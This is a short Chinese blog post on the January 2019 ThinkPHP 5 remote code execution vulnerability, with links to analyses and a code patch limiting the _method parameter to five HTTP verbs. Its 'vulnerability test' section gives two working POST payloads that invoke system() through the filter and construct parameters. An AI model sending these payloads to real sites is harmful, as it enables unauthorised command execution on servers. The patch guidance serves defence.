此故事灵感源于seebug,如有雷同,纯属盗版
漏洞描述
2019年1月11日,Thinkphp5发布安全更新,修复了一个可能的GetShell安全漏洞。
http://www.thinkphp.cn/topic/60992.html
官方刚更新,高能的白帽子大军已经开始蠢蠢欲动了,开始了各种分析,尝试漏洞复现
漏洞分析
昨天我也研究了下代码,尝试复现,于是渣渣的我么能成功 于是乎分析什么的就看大佬如何挥舞了
参考文献
https://bbs.ichunqiu.com/thread-49591-1-1.html
https://bbs.ichunqiu.com/thread-49557-1-1.html
漏洞测试
c=system&f=ls&_method=filter
_method=construct&filter[]=system&method=get&server[REQUEST_METHOD]=ls
打了个残包立马关闭了 就点到为止
漏洞修复
升级到5.0.24版本
或
通过修改以下代码来缓解漏洞:
编辑 library/think/Request.php 文件, 查找:
$this->method = strtoupper($_POST[Config::get('var_method')]);
$this->{$this->method}($_POST);
修改
$method = strtoupper($_POST[Config::get('var_method')]);
if (in_array($method, ['GET', 'POST', 'DELETE', 'PUT', 'PATCH'])) {
$this->method = $method;
$this->{$this->method}($_POST);
}
else {
$this->method = 'POST';
}
unset($_POST[Config::get('var_method')]);
只允许五种方法,保证变量在可控范围内
注:请业务侧注意测试升级后网站功能是否正常
总结:此漏洞继续升温,大佬真优秀
明年尽量适当的避开thinkphp
网友评论